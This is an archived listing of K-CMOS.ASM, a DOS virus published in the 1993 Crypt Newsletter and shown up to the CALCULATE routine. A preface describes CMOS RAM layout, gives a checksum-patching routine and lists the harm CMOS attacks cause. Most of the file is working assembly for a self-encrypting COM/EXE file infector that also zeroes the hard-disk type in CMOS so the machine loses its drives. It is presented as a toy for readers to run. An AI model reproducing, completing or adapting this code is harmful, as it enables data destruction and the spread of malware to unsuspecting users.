home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CRYPT20.ZIP / K-CMOS.ASM < prev    next >
Assembly Source File  |  1993-11-23  |  43KB  |  1,119 lines

  1. comment $
  2.  
  3.                        K-CMöS VIRUS for Crypt Newsletter 20
  4.  
  5.  
  6.              In my quest to bring the latest hi-tech computer virus
  7.          toys to you, faithful reader, I have researched one of the
  8.          relatively untouched-by-viruses parts of an AT computer: 
  9.          the CMOS.
  10.  
  11.              The CMOS (Complementary Metal Oxide Semiconductor) is a
  12.          low power consumption semiconductor where information such as
  13.          the current equipment settings, hard drive type, time and
  14.          date is stored and maintained using a NiCad battery that is
  15.          recharged every time you turn on the computer. (That is why
  16.          it's a good idea to turn on the computer every once in a while
  17.          if you are not using it for long periods. This prevents
  18.          battery discharge and loss of CMOS settings.)
  19.  
  20.              The CMOS in your computer is changed and set every time
  21.          you run the Setup program that comes with your BIOS (AMI,
  22.          Phoenix), and can be accessed and changed by any program
  23.          running from DOS.
  24.  
  25.          The AT CMOS RAM is divided into three areas:
  26.  
  27.          1 - The clock/calendar bytes
  28.          2 - The control registers
  29.          3 - General purpose RAM.
  30.  
  31.          The following table  describes the CMOS RAM location and what
  32.          each byte is used for:
  33.  
  34. OFFSET byte    DESCRIPTION
  35.  
  36. Real Clock Data
  37.  
  38. 00        Current second in BCD
  39. 01        Alarm second in BCD
  40. 02        Current minute in BCD
  41. 03        Alarm minute in BCD
  42. 04        Current Hour in BCD
  43. 05        Alarm Hour in BCD
  44. 06        Current day of week in BCD
  45. 07        Current day in BCD
  46. 08        Current month in BCD
  47. 09        Current year in BCD
  48.  
  49. Status Registers
  50.  
  51. 0A        Status Register A
  52. 0B        Status Register B
  53. 0C        Status Register C
  54. 0D        Status Register D
  55.  
  56. Configuration Data
  57.  
  58. 0E         Diagnostic Status
  59.                           Bit 7 - Clock Lost Power
  60.                           Bit 6 - Bad CMOS checksum
  61.                           Bit 5 - invalid config info at POST
  62.                           Bit 4 - memory Size compare error at POST
  63.                           Bit 3 - Fixed disk or adapter failed initialization
  64.                           Bit 2 - Invalid CMOS time
  65.                           Bits 1-0 - Reserved
  66. 0F         Reason for Shutdown
  67.                           00 - Power on or reset
  68.                           01 - Memory Size pass
  69.                           02 - Memory test pass
  70.                           03 - memory test fail
  71.                           04 - POST end: boot system
  72.                           05 - jmp doubleword pointer with EOI
  73.                           06 - Protected tests pass
  74.                           07 - Protected tests fail
  75.                           08 - Memory size fail
  76.                           09 - INT 15h Block move
  77.                           0A - JMP double word pointer without EOI
  78. 10         Diskette Drive Types
  79.                           Bits 7-4  - Diskette drive 0 type
  80.                           Bits 3-0  - Diskette drive 1 type
  81.                               0000b - no drive
  82.                               0001b - 360K drive
  83.                               0010b - 1.2MB drive
  84.                               0011b - 720K drive
  85.                               0100b - 1.44 MB drive
  86.                               0101b - 2.88 MB drive
  87. 11         Reserved
  88. 12         Fixed Disk Drive Types
  89.                           Bits 7-4  - Fixed Disk drive 0 type
  90.                           Bits 3-0  - Fixed Disk drive 1 type
  91.                               0000b - no drive
  92.                           (Note: These drives do not necessarily
  93.                            correspond with the values stored at
  94.                            locations 19h and 1Ah)
  95. 13         Reserved
  96. 14         Equipment Installed
  97.                           Bits 7-6  - # of Diskette drives
  98.                                 00b - 1 diskette drive
  99.                                 01b - 2 diskette drives
  100.                           Bits 5-4  - Primary Display
  101.                                 00b - reserved
  102.                                 01b - 40 X 25 color
  103.                                 10b - 80 X 25 color
  104.                                 11b - 80 X 25 monochrome
  105.                           Bits 3-0  - Reserved
  106. 15         Base Memory in 1K low byte
  107. 16         Base Memory in 1K high byte
  108. 17         Expansion Memory size low byte
  109. 18         Expansion Memory size high byte
  110. 19         Fixed Disk Drive Type 0
  111. 1A         Fixed Disk Drive Type 1
  112. 1B-2D      Reserved
  113. 2E         Configuration Data checksum high byte
  114. 2F         Configuration Data checksum low byte
  115. 30         Actual Expansion Memory size low byte
  116. 31         Actual Expansion Memory size high byte
  117. 32         Century in BCD
  118. 33         Information Flag
  119.                           Bit 7 - 128 Kbyte expanded
  120.                           Bit 6 - Setup Flag
  121.                           Bits 5-0 - Reserved
  122. 34-3F      Reserved
  123.  
  124.  
  125.  
  126.              As you can see, there are a total of 63 (3F hex) bytes of
  127.          CMOS RAM, with 33 bytes used as 'reserved' memory in the
  128.          three areas;  these locations are not currently defined by
  129.          the AT BIOS and might be used to store data that will be
  130.          restored after power is shut down.
  131.  
  132.          The 4 status registers (A through D) located, appropriately, at
  133.          locations 0Ah through 0Dh define the chips operating
  134.          parameters and provide information about interrupts and the
  135.          state of the real time clock chip (RTC).
  136.  
  137.          With very few restrictions all CMOS RAM locations may be
  138.          directly accessed by an application.
  139.          
  140.          Program locations 11h, 13h, and 1Bh through 2Dh are used
  141.          in calculating the CMOS checksum that the BIOS stores at
  142.          locations 2Eh and 2Fh.
  143.          
  144.          Note: If a program changes ANY bytes at locations 10h 
  145.          through 2Dh it must also recalculate the checksum and store 
  146.          the new value.  Changing these bytes (10h -> 2Dh) without 
  147.          correcting the checksum results in a 'CMOS checksum error' 
  148.          forcing you to run the BIOS setup and reenter all of the CMOS
  149.          information.
  150.          
  151.          The reserved memory locations 34h through 3Fh are not used in
  152.          checksum calculations and may be changed with extreme caution
  153.          since different BIOS versions, manufacturers and hardware
  154.          configurations use this reserved CMOS RAM locations for
  155.          extended system setup information including BIOS passwords
  156.          and DMA settings.
  157.  
  158.  
  159.          To access and change a computer's CMOS RAM is very simple:
  160.  
  161.          Access is done through ports 70 hex (CMOS control/address)
  162.          and port 71 hex (CMOS data).
  163.  
  164.          The process is thus:
  165.  
  166.          1 - We specify the CMOS RAM address of the byte we want to
  167.              read or write using port 70h
  168.  
  169.          EXAMPLE:
  170.  
  171.          mov  al,XX   where XX = byte specifying the address (00h->3Fh)
  172.          out  70h,al
  173.  
  174.          2 - We read or write a byte to the address specified in step
  175.              1.
  176.  
  177.          READ EXAMPLE:
  178.  
  179.          in  al,71h   byte at location XX goes into AL
  180.  
  181.          WRITE EXAMPLE:
  182.  
  183.          out  71h,al  byte in AL goes to location XX in the CMOS RAM
  184.  
  185.          There is one little problem: if we are writing to any of the
  186.          locations that are checksummed (10h through 2Dh), we must
  187.          change the checksum value as well; so we follow steps 1 and 2
  188.          with the checksum values at locations 2Eh and 2Fh, combine
  189.          the bytes into one register and subtract the current byte
  190.          value from the register containing the checksum. Then we add
  191.          the value of the new byte to be put in the CMOS RAM to the
  192.          register that has the checksum, and we write the checksum,
  193.          and the new byte to the CMOS.
  194.          
  195.          While all of this might seem too complicated, I have
  196.          written a mini-CMöS toolkit, a routine that takes the address
  197.          and the new value of the byte to be put in the CMOS, and does
  198.          the dirty work of putting the values and of changing the
  199.          checksum for you.
  200.  
  201.          Read the code carefully. It will make everything become
  202.          clearer.
  203.  
  204. ;==============================================================================
  205. CMOS_CHCKSM:
  206.  
  207. ; INPUT:
  208. ; DL = CMOS ADDRESS of BYTE TO be MODiFiED
  209. ; BL = NEW BYTE VALUE to be PUT IN CMOS RAM
  210.  
  211. ; OUTPUT:
  212. ; None.
  213. ; REGISTERS USED: AX,CX,BX,DX
  214.  
  215. ;*************************
  216. ; GET CMOS Checksum => CX
  217. ;*************************
  218.  
  219.         xor     ax,ax
  220.         mov     al,2Eh           ;msb of checksum address
  221.         out     70h,al           ;send address / control byte
  222.         in      al,71h           ;read byte
  223.  
  224.         xchg    ch,al            ;store al in ch
  225.  
  226.         mov     al,2Fh           ;lsb of checksum address
  227.         out     70h,al           ;send address / control byte
  228.         in      al,71h           ;read byte
  229.  
  230.         xchg    cl,al            ;store lsb to cl
  231.  
  232. ;*********************
  233. ; Fix CMOS Checksum
  234. ;*********************
  235.  
  236.         push    dx
  237.         xchg    dl,al           ;AL = address
  238.         out     70h,al          ;send address / control byte
  239.         in      al,71h          ;read register
  240.  
  241.         sub     cx,ax           ;subtract from checksum
  242.  
  243.         add     cx,bx           ;update checksum value in register.
  244.  
  245. ;****************************
  246. ; Write CMOS byte to Address
  247. ;****************************
  248.  
  249.         pop     dx
  250.         xchg    dl,al           ;AL = address
  251.         out     70h,al          ;specify CMOS address
  252.         xchg    al,bl           ;new CMOS value => al
  253.  
  254.         out     71h,al          ;write new CMOS byte
  255.  
  256. ;*********************
  257. ; Write CMOS Checksum
  258. ;*********************
  259.  
  260.         mov     al,2Eh          ;address of checksum 's msb
  261.         out     70h,al          ;specify CMOS address
  262.         xchg    al,ch           ;msb of new checksum
  263.  
  264.         out     71h,al          ;write new CMOS msb
  265.  
  266.         mov     al,2Fh          ;address of checksum 's lsb
  267.         out     70h,al          ;specify CMOS address
  268.         xchg    al,cl           ;lsb of new checksum
  269.  
  270.         out     71h,al          ;write new CMOS lsb
  271.         ret
  272.  
  273. ;==============================================================================
  274.  
  275.  
  276.              It is worth mentioning that for XT (8088) type computers
  277.          the CMOS routine will have no adverse effects in the
  278.          execution of the virus-infected program.
  279.  
  280.              There are many intriguing features of CMOS-attacking 
  281.          viruses: The biggest one is the interaction between software
  282.          and CMOS is not stopped by common anti-virus memory
  283.          resident programs. The most talked about example of such
  284.          a virus is the South African EXEbug, which uses CMOS
  285.          manipulation to make itself difficult to remove from an
  286.          infected hard disk. EXEbug massages the CMOS so that if
  287.          the machine is booted from a diskette and the virus is
  288.          not in memory, the infected hard disk is not recognized.
  289.  
  290.          The list of possible problems created by a CMOS
  291.          attacking virus is long:
  292.  
  293.          1 - CMOS checksum errors.
  294.          This will force the user to reenter all of the CMOS data.
  295.          Change any value in the correct CMOS range without
  296.          updating the checksum.
  297.  
  298.          2 - Dead disk / hard drives.
  299.          This could drive the uninformed to presume they have
  300.          encountered a hardware problem.
  301.  
  302.          3 - Changed hardrive types, horrendous hardrive problems.
  303.          For example: Input the hardrive type byte, subtract some small
  304.          digit from it and output the byte to the CMOS. (The checksum
  305.          must be fixed!) and a horrible mess results on subsequent
  306.          boot up.
  307.  
  308.          4 - Changed dates, times, etc.
  309.          The uninformed could thing the Nicad battery has died,
  310.          or that his/her computer is possessed by evil, Nigerian
  311.          Deities.
  312.  
  313.          5 - Changed BIOS passwords, inability to access a computer.
  314.          On newer AMI BIOSes you can set or change the password
  315.          required to access the computer.  This topic was discussed
  316.          briefly in a recent issue of Virus News International, the 
  317.          upshot being that the unsuspecting could be flummoxed into
  318.          throwing the computer out the window, or more realistically,
  319.          calling a technician. In the case where some knowledge about 
  320.          computers is present, the case is opened and the jumper
  321.          found to short the CMOS. (No, you don't have to disconnect 
  322.          the battery.  And you didn't throw out your machine manuals
  323.          did you?)
  324.  
  325.              Although many anti-virus programs can save and restore
  326.          your CMOS values as part of their function, currently there 
  327.          is only one memory resident program that checks for changes 
  328.          in the CMOS: Thunderbyte's TBMEM.
  329.  
  330.              This month's example, K-CMöS, falls in category #2: it
  331.          kills all fixed disk drives by zeroing out location 12h in
  332.          the CMOS RAM. It also has some encryption abilities (a 16
  333.          byte constant decryptor) and a PATH style infection routine
  334.          that actually works!
  335.          
  336.          Needless to say, careful handling is necessary as it can
  337.          spread quite rapidly.
  338.  
  339.          Important: Since K-CMOS zero's the CMOS value for the fixed
  340.          disk on execution, unless you restore the value before ending
  341.          your experiment with some software CMOS reloading tool, you
  342.          will have a dead C: drive when you finally get around to
  343.          rebooting.  Keep in mind that if you don't know how to reset
  344.          your CMOS on power up using the built in BIOS setup, you will
  345.          sit there in a dumb stew wondering why you ran a virus which
  346.          unhooked your hard drive.
  347.  
  348.          To prevent this from happening, you must familiarize yourself
  349.          with the BIOS setup program. Here is a brief walkthrough which
  350.          could be used to properly restore your machine after K-CMOS
  351.          has altered your CMOS:
  352.          
  353.          1 - BEFORE you execute K-CMOS - on power up, bring up your 
  354.          BIOS setup by holding down the DEL key while you are booting 
  355.          the computer. 
  356.          
  357.          2 - You will probably see a screen with a number of selections.
  358.          You will want to bring up "Change Basic CMOS Settings" or its
  359.          equivalent. Write down the values for the HD types on drives 
  360.          C and D.
  361.  
  362.          3- IF the hard drive types are "47" the you MUST record all 
  363.          of the data in the displayed fields, i.e, the information 
  364.          such as the number of heads, sectors, etc. Again, you MUST 
  365.          do this BEFORE you run K-CMOS or you will have to look in 
  366.          your manuals somewhere to get the specific HD information!
  367.  
  368.          NOTE: Newer AMI BIOSes have an auto-detect feature in the 
  369.          Setup menu, so you might not have to worry about hard disk type 
  370.          number, number of sectors, number of heads, etc., if you have 
  371.          the feature in your computer's BIOS. The setup will do the 
  372.          work for you.
  373.  
  374.          4 - Now that you've recorded this data, you can test K-CMOS
  375.          and watch it unhook your system.  On reboot, you will lose the
  376.          hard disk.  Reboot, bring up your Setup program as above, re-
  377.          enter the values for the hard disk which you previously 
  378.          recorded, exit and save.  You are back in business.
  379.  
  380.          Enjoy!
  381.  
  382. $
  383.  
  384. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  385. ;                                K-CMöS.ASM
  386. ;                            AUTHOR:  Köhntark
  387. ;                           DATE:    November 93
  388. ;                           Size: <  1100 bytes
  389. ;
  390. ;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
  391.  
  392. MAIN    SEGMENT BYTE
  393.         ASSUME cs:main,ds:main,ss:nothing      ;all part in one segment=com file
  394.         ORG    100h
  395.  
  396. ;**********************************
  397. ;  fake host program
  398. ;**********************************
  399.  
  400. HOST:
  401.         db    0E9h,0Ah,00          ;jmp    NEAR PTR VIRUS
  402.         db     ' '
  403.         db     90h,90h,90h
  404.         mov    ah,4CH
  405.         mov    al,0
  406.         int    21H                 ;terminate normally with dos
  407.  
  408. ;═════════════════════════════════════════════════════════════════════════════
  409.  
  410. ;**********************************
  411. ; VIRUS CODE STARTS HERE
  412. ;**********************************
  413.  
  414. VIRUS:
  415.  
  416.       mov si,010Dh                            ;get starting address
  417.  
  418. ;************************************
  419. ; Fix DS ES
  420. ;************************************
  421.  
  422.    mov  al,cs:BYTE PTR [si + COM_FLAG - VIRUS]   ;save COM/EXE flag in AX
  423.    mov  WORD PTR cs:[si + PSP_SEG - VIRUS],es    ;save PSP segment for use in PATH search
  424.    push ax                                       ;save COM/EXE flag
  425.    push es                                       ;save es and ds in case file is EXE
  426.    push ds
  427.  
  428.    push cs
  429.    push cs
  430.    pop  es                                    ;es = cs
  431.    pop  ds                                    ;ds = cs
  432.  
  433.    push WORD PTR [si + ORIG_IPCS - VIRUS]       ;save IP
  434.    push WORD PTR [si + ORIG_IPCS - VIRUS + 2]   ;save CS
  435.  
  436.    push WORD PTR [si + ORIG_SSSP - VIRUS]       ;save SS
  437.    push WORD PTR [si + ORIG_SSSP - VIRUS + 2]   ;save SP
  438.  
  439.    push WORD PTR [si + START_CODE - VIRUS]
  440.    push WORD PTR [si + START_CODE - VIRUS + 2]
  441.  
  442. ;************************************
  443. ; redirect DTA onto virus code
  444. ;************************************
  445.  
  446.    lea  dx,[si + DTA - VIRUS] ;put DTA at the end of the virus for now
  447.    mov  ah,1ah                ;set new DTA function to ds:dx
  448.    int  21h
  449.  
  450. ;************************************
  451. ; KIll fixed disk drives in CMOS
  452. ;************************************
  453.  
  454.         mov     dx,0012h        ;hard drive type register
  455.         xor     bx,bx           ;New hard drive type = 0 (No Fixed drive)
  456.         call    CMOS_CHCKSM
  457.  
  458. ;************************************
  459. ; MAIN Routines called from here
  460. ;************************************
  461.  
  462.           lea  bp,[si + COM_MASK - VIRUS]
  463.           call FIND_FILE                  ;get a com file to attack!
  464.           lea  bp,[si + EXE_MASK - VIRUS]
  465.           call FIND_FILE                  ;get an exe file to attack!
  466.  
  467. ;═════════════════════════════════════════════════════════════════════════════
  468.  
  469. EXIT_VIRUS:
  470.  
  471. ;************************************
  472. ; set old  DTA  address
  473. ;************************************
  474.  
  475.            mov ah,1ah
  476.            mov dx,80h            ;fix dta back to ds:dx
  477.            int 21h               ;host program
  478.  
  479.            pop WORD PTR [si + START_CODE - VIRUS + 2]
  480.            pop WORD PTR [si + START_CODE - VIRUS]
  481.  
  482.            cli
  483.            pop WORD PTR [si + ORIG_SSSP - VIRUS + 2]   ;save SP
  484.            pop WORD PTR [si + ORIG_SSSP - VIRUS]       ;save SS
  485.            sti
  486.  
  487.            pop WORD PTR [si + ORIG_IPCS - VIRUS + 2]   ;save CS
  488.            pop WORD PTR [si + ORIG_IPCS - VIRUS]       ;save IP
  489.  
  490.            pop ds                ;restore ds
  491.            pop es                ;restore es
  492.            pop ax                ;restore COM_FLAG
  493.  
  494.            cmp  al,00            ;com infection?
  495.            je  RESTORE_COM
  496.  
  497. ;************************************
  498. ; restore EXE.. and exit..
  499. ;************************************
  500.  
  501.    mov  bx,ds                                       ;ds has to be original one
  502.    add  bx,low 10h
  503.    mov  cx,bx
  504.    add  bx,cs:WORD PTR [si + ORIG_SSSP - VIRUS]     ;restore ss
  505.    cli
  506.    mov  ss,bx
  507.    mov  sp,cs:WORD PTR [si + ORIG_SSSP - VIRUS + 2] ;restore sp
  508.    sti
  509.    add  cx,cs:WORD PTR [si + ORIG_IPCS - VIRUS+ 2]
  510.    push cx                                          ;push cs
  511.    push cs:WORD PTR [si + ORIG_IPCS - VIRUS]        ;push ip
  512.    db  0CBh                                         ;retf
  513.  
  514. ;************************************
  515. ; restore 4 original bytes to file
  516. ;************************************
  517.  
  518. RESTORE_COM:
  519.            push si                                   ;save si
  520.            cld                                       ;clear direction flag
  521.            add  si,OFFSET START_CODE -  OFFSET VIRUS ;source:   ds:si
  522.            mov  di,0100h                             ;destination: es:di
  523.            movsw                                     ;shorter & faster than
  524.            movsw                                     ;mov cx,04  and rep movsb
  525.            pop  si                                   ;restore si
  526.  
  527. ;****************************************************************
  528. ; zero out registers for return to
  529. ; host program
  530. ;****************************************************************
  531.  
  532.  mov  ax,0100h     ;return address
  533.  xor  bx,bx
  534.  xor  cx,cx
  535.  xor  si,si
  536.  xor  di,di
  537.  push ax
  538.  xor  ax,ax
  539.  cwd
  540.  ret
  541.  
  542. ;═════════════════════════════════════════════════════════════════════════════
  543.  
  544. NO_GOOD:     stc
  545.              jmp GET_OUT
  546.  
  547. QUICK_EXIT:  stc                                     ;set carry flag
  548.              ret
  549.  
  550. ;-----------------------------------------------------------------------------
  551.  
  552. CHECK_N_INFECT_FILE:
  553.  
  554. ;******************
  555. ; 1-Check TIME ID
  556. ;******************
  557.  
  558.        mov cx,WORD PTR [si + DTA_File_TIME - VIRUS]   ;file time from DTA
  559.        and cl,1Dh                                     ;58 seconds?
  560.        cmp cl,1Dh
  561.        je  QUICK_EXIT
  562.  
  563. ;*********************************************
  564. ; 2-Clear attributes
  565. ;*********************************************
  566.  
  567.        lea dx,[si + WORK_AREA - VIRUS]        ;dx=ptr to path + current filename
  568.        xor cx,cx                              ;set attributes to normal
  569.        mov ax,4301h                           ;set file attributes to cx
  570.        int 21h                                ;int 21h
  571.        jc  QUICK_EXIT                         ;error.. quit
  572.  
  573. ;*****************
  574. ; 3-OPEN FILE
  575. ;*****************
  576.  
  577.        mov  ax,3D02h                        ;r/w access to it
  578.        int  21h
  579.        jc   NO_GOOD                         ;error.. quit
  580.        xchg ax,bx                           ;bx = file handle
  581.  
  582. ;********************
  583. ; 4-Read 1st 28 bytes
  584. ;********************
  585.  
  586.        mov  cx,28d                        ;read first 5 bytes of file
  587.        lea  dx,[si + START_CODE - VIRUS]  ;store'em here
  588.        mov  ah,3Fh                        ;DOS read function
  589.        int  21h
  590.        jc   NO_GOOD                       ;error? get next file
  591.  
  592. ;*********************
  593. ; 5-CHECK FILE
  594. ;*********************
  595.  
  596.        cmp  WORD PTR [si + START_CODE - VIRUS],'ZM'   ;EXE file?
  597.        je   CHECK_EXE                                 ;no? check com
  598.  
  599.        cmp  WORD PTR [si + START_CODE - VIRUS],'MZ'  ;EXE file?
  600.        je   CHECK_EXE                                ;no? check com
  601.  
  602. CHECK_COM:
  603.             mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS] ;get file's size
  604.             push ax                                       ;insert new entry point just in case..
  605.             add  ax,100h + DECRYPTOR_SIZE
  606.             mov  WORD PTR [si + 1],ax
  607.             pop  ax
  608.  
  609.             add  ax,OFFSET FINAL - OFFSET VIRUS            ;add virus size to it
  610.             jc   NO_GOOD                                   ;bigger then 64K:nogood
  611.  
  612.             cmp  BYTE PTR [si + START_CODE - VIRUS],0E9H   ;compare 1st byte to near jmp
  613.             jne  short INFECT_COM                          ;not a near jmp, file ok
  614.  
  615.             cmp  BYTE PTR [si + START_CODE+3 - VIRUS],20h  ;check for ' '
  616.             je   NO_GOOD                                   ;file ok .. infect
  617.             jmp  short  INFECT_COM
  618.  
  619.  
  620. CHECK_EXE:
  621.             cmp  WORD PTR [si + START_CODE - VIRUS + 18h],40h   ;Windows file?
  622.             je   NO_GOOD                                        ;no? check com
  623.  
  624.             cmp  WORD PTR [si + START_CODE - VIRUS + 01Ah],0   ;internal overlay
  625.             jne  NO_GOOD                                       ;yes? exit..
  626.  
  627.             cmp  WORD PTR [si + START_CODE - VIRUS + 12h],ID   ;already infected?
  628.             je   NO_GOOD
  629.  
  630. INFECT_EXE:
  631.              mov BYTE PTR [si+ COM_FLAG - VIRUS],01  ;exe infection
  632.              jmp short SKIP
  633.  
  634. INFECT_COM:
  635.              mov BYTE PTR [si+ COM_FLAG - VIRUS],00  ;com infection
  636.  
  637. SKIP:
  638.  
  639. ;*********************
  640. ; 6-set PTR @EOF
  641. ;*********************
  642.  
  643.         xor  cx,cx                  ;prepare to write virus on file
  644.         xor  dx,dx                  ;position file pointer,cx:dx = 0
  645.        ;cwd                         ;position file pointer,cx:dx = 0
  646.         mov  ax,4202H
  647.         int  21h                    ;locate pointer at end EOF DOS function
  648.  
  649. ;*********************
  650. ; 7-Fix deCRYPTtor
  651. ;*********************
  652.  
  653.         push ax                                         ;save file size (COM file, for EXE files
  654.                                                         ;this is redone later)
  655.         add  ax,100h + DECRYPTOR_SIZE
  656.         mov  WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax ;insert address
  657.         mov  ax,(OFFSET FINAL - OFFSET VIRUS)/2         ;virus size in Words
  658.         mov  WORD PTR [si + WORK_BUFFER - VIRUS + 1],ax ;insert size
  659.  
  660.         in    al,40h                                    ;get a random word in AX
  661.         xchg  ah,al
  662.         in    al,40h
  663.         xor   ax,0813Ch
  664.         add   ax,09249h
  665.         rol   al,1
  666.         ror   ah,1
  667.  
  668.         mov  WORD PTR [si + WORK_BUFFER - VIRUS + 9],ax ;insert random KEY
  669.         pop  ax                                         ;restore file size
  670.  
  671.  
  672.         cmp BYTE PTR [si+ COM_FLAG - VIRUS],01 ;exe file?
  673.         jne DO_COM
  674.  
  675. ;*************************
  676. ; 8-FIX AND WRITE EXE HDR
  677. ;*************************
  678.  
  679.         push bx                                ;save file handler
  680.  
  681. ;-----------------------
  682. ; save CS:IP & SS:SP
  683. ;-----------------------
  684.  
  685.         push si
  686.         cld                                    ;clear direction flag
  687.         lea di,[si + ORIG_SSSP - VIRUS]        ;save original CS:IP at es:di
  688.         lea si,[si + START_CODE - VIRUS + 14d] ;from ds:si
  689.         movsw                                  ;save ss
  690.         movsw                                  ;save sp
  691.  
  692.         add si,02                              ;save original SS:SP
  693.         movsw                                  ;save ip
  694.         movsw                                  ;save cs
  695.         pop si
  696.  
  697. ;-----------------------------
  698. ; calculate new CS:IP
  699. ;-----------------------------
  700.  
  701.         mov  bx,WORD PTR[si + START_CODE - VIRUS + 8] ;header size in paragraphs
  702.         mov  cl,04                                    ;multiply by 16, won't work with headers > 4096
  703.         shl  bx,cl                                    ;bx=header size
  704.  
  705.         push ax                                       ;save file size at dx:ax
  706.         push dx
  707.  
  708.         sub  ax,bx                                    ;file size - header size
  709.         sbb  dx,0000h                                 ;fix dx if carry, assures dx, ip < 16
  710.  
  711.         call CALCULATE
  712.  
  713.         mov  WORD PTR [si+ START_CODE - VIRUS + 12h],ID   ;put ID in checksum slot
  714.         mov  WORD PTR [si+ START_CODE - VIRUS + 14h],ax   ;IP
  715.         add  ax,DECRYPTOR_SIZE
  716.         mov  WORD PTR [si+1],ax                           ;insert new starting address
  717.         mov  WORD PTR [si + WORK_BUFFER - VIRUS + 4],ax   ;insert address on decryptor
  718.         mov  WORD PTR [si+ START_CODE - VIRUS + 16h],dx   ;CS
  719.  
  720. ;-----------------------------
  721. ; calculate & fix new SS:SP
  722. ;-----------------------------
  723.  
  724.         pop dx
  725.         pop ax ;filelength in dx:ax
  726.  
  727.         add ax,OFFSET FINAL - OFFSET VIRUS ;add filesize to ax
  728.         adc dx,0000h                       ;fix dx if carry
  729.  
  730.         push ax
  731.         push dx
  732.         add  ax,40h   ;if filesize + virus size is even then the stack size
  733.         test al,01    ;even or odd stack?
  734.         jz   EVENN
  735.         inc  ax       ;make stack even
  736. EVENN:
  737.         call CALCULATE
  738.  
  739.         mov  WORD PTR [si+ START_CODE - VIRUS + 10h],ax ;SP
  740.         mov  WORD PTR [si+ START_CODE - VIRUS + 0Eh],dx ;SS
  741.  
  742. ;-----------------------------
  743. ; Calculate new file size
  744. ;-----------------------------
  745.  
  746.         pop dx
  747.         pop ax
  748.  
  749.         push  ax
  750.         mov   cl,0009h                       ;2^9 = 512
  751.         ror   dx,cl                          ;/ 512 (sort of)
  752.         shr   ax,cl                          ;/ 512
  753.         stc                                  ;set carry flag
  754.         adc   dx,ax                          ;fix dx , page count
  755.         pop   cx
  756.         and   ch,0001h                       ;mod 512
  757.  
  758.         mov  WORD PTR [si+ START_CODE - VIRUS + 4],dx ;page count
  759.         mov  WORD PTR [si+ START_CODE - VIRUS + 2],cx ;save remainder
  760.  
  761.         pop  bx      ;restore file handle
  762.  
  763. DO_COM:
  764.  
  765. ;*********************
  766. ; 9-write deCRYPTor
  767. ;*********************
  768.  
  769.        lea   dx,[si + WORK_BUFFER - VIRUS]  ;write from here
  770.        mov   cx,DECRYPTOR_SIZE              ;write # of bytes
  771.        mov   ah,40h                         ;write to file bx=file handle
  772.        int   21h                            ;write from DS:DX
  773.  
  774. ;*********************
  775. ; 10-enCRYPT virus
  776. ;*********************
  777.  
  778.        push  ds                                         ;save DS
  779.        push  es                                         ;save ES
  780.        mov   ax,0A00h                                   ;set up new ES (work) segment
  781.        push  ax
  782.        pop   es                                         ;ES=AX=0A00h
  783.        xor   di,di                                      ;DI=0
  784.        mov   cx,(OFFSET FINAL - OFFSET VIRUS)/2         ;virus size cx= # words
  785.        push  si                                         ;save SI
  786.        mov   dx,WORD PTR [si + WORK_BUFFER - VIRUS + 9] ;get Random KEY in DX
  787.  
  788. enCRYPT:
  789.        lodsw          ;word ptr ds:[si] => ax
  790.        sub   ax,dx    ;encrypt ax
  791.        stosw          ;ax => word ptr es:[di]
  792.        loop  enCRYPT
  793.  
  794.        pop   si       ;restore SI
  795.        xor   dx,dx    ;DX=0
  796.        push  es
  797.        pop   ds       ;DS=ES
  798.  
  799. ;*********************
  800. ; 11-Write Virus
  801. ;*********************
  802.  
  803.         mov  cx,OFFSET FINAL - OFFSET VIRUS      ;write virus  cx= # bytes
  804.         mov  ah,40h                              ;write to file bx=file handle
  805.         int  21h                                 ;write from DS:DX
  806.  
  807.         pop  es                                  ;restore ES
  808.         pop  ds                                  ;restore DS
  809.  
  810. ;*********************
  811. ; 12-set PTR @BOF
  812. ;*********************
  813.  
  814.         mov  ax,4200h                            ;locate pointer at beginning of
  815.         xor  cx,cx
  816.         xor  dx,dx                               ;position file pointer,cx:dx = 0
  817.        ;cwd                                      ;position file pointer,cx:dx = 0
  818.         int  21h                                 ;host file
  819.  
  820.         cmp BYTE PTR [si+ COM_FLAG  - VIRUS],01  ;exe file?
  821.         jne DO_COM2
  822.  
  823. ;*********************
  824. ; 13-Write EXE Header
  825. ;*********************
  826.  
  827.         mov  cx,28d                               ;#of bytes to write
  828.         lea  dx,[si + START_CODE - VIRUS]         ;ds:dx=pointer of data to write
  829.         jmp  short CONT
  830.  
  831. ;****************************************************
  832. ; 14-write new 4 bytes to beginning of file (COM)
  833. ;***************************************************
  834.  
  835. DO_COM2:
  836.         mov  ax,WORD PTR [si + DTA_File_SIZE - VIRUS]
  837.         sub  ax,3
  838.         mov  WORD PTR [si + START_IMAGE + 1 - VIRUS],ax
  839.  
  840.         mov  cx,4                                 ;#of bytes to write
  841.         lea  dx,[si + START_IMAGE - VIRUS]        ;ds:dx=pointer of data to write
  842.  
  843. CONT:
  844.         mov  ah,40h                               ;DOS write function
  845.         int  21h                                  ;write 5 / 28 bytes
  846.  
  847. ;*************************************************
  848. ; 15-Restore date and time of file to be infected
  849. ;*************************************************
  850.  
  851.         mov  ax,5701h
  852.         mov  dx,WORD PTR [si + DTA_File_DATE - VIRUS]
  853.         mov  cx,WORD PTR [si + DTA_File_TIME - VIRUS]
  854.         and  cx,0FFE0h                             ;mask all but seconds
  855.         or   cl,1Dh                                ;seconds to 58
  856.         int  21h
  857.  
  858. GET_OUT:
  859. ;****************
  860. ; 16-Close File
  861. ;****************
  862.  
  863.         pushf                          ;save flags to return on exit
  864.         mov  ah,3Eh
  865.         int  21h                       ;close file
  866.  
  867. ;*************************************************
  868. ; 17-Restore file's attributes
  869. ;*************************************************
  870.  
  871.        mov ax,4301h                                  ;set file attributes to cx
  872.        lea dx,[si + WORK_AREA - VIRUS]               ;dx=ptr to path + current filename
  873.        xor cx,cx
  874.        mov cl,BYTE PTR [si + DTA_File_ATTR - VIRUS]  ;get old attributes
  875.        int 21h
  876.        popf                                          ;restore flags to return on exit
  877.        ret                                           ;infection done!
  878.  
  879. ;═════════════════════════════════════════════════════════════════════════════
  880.  
  881. CALCULATE:
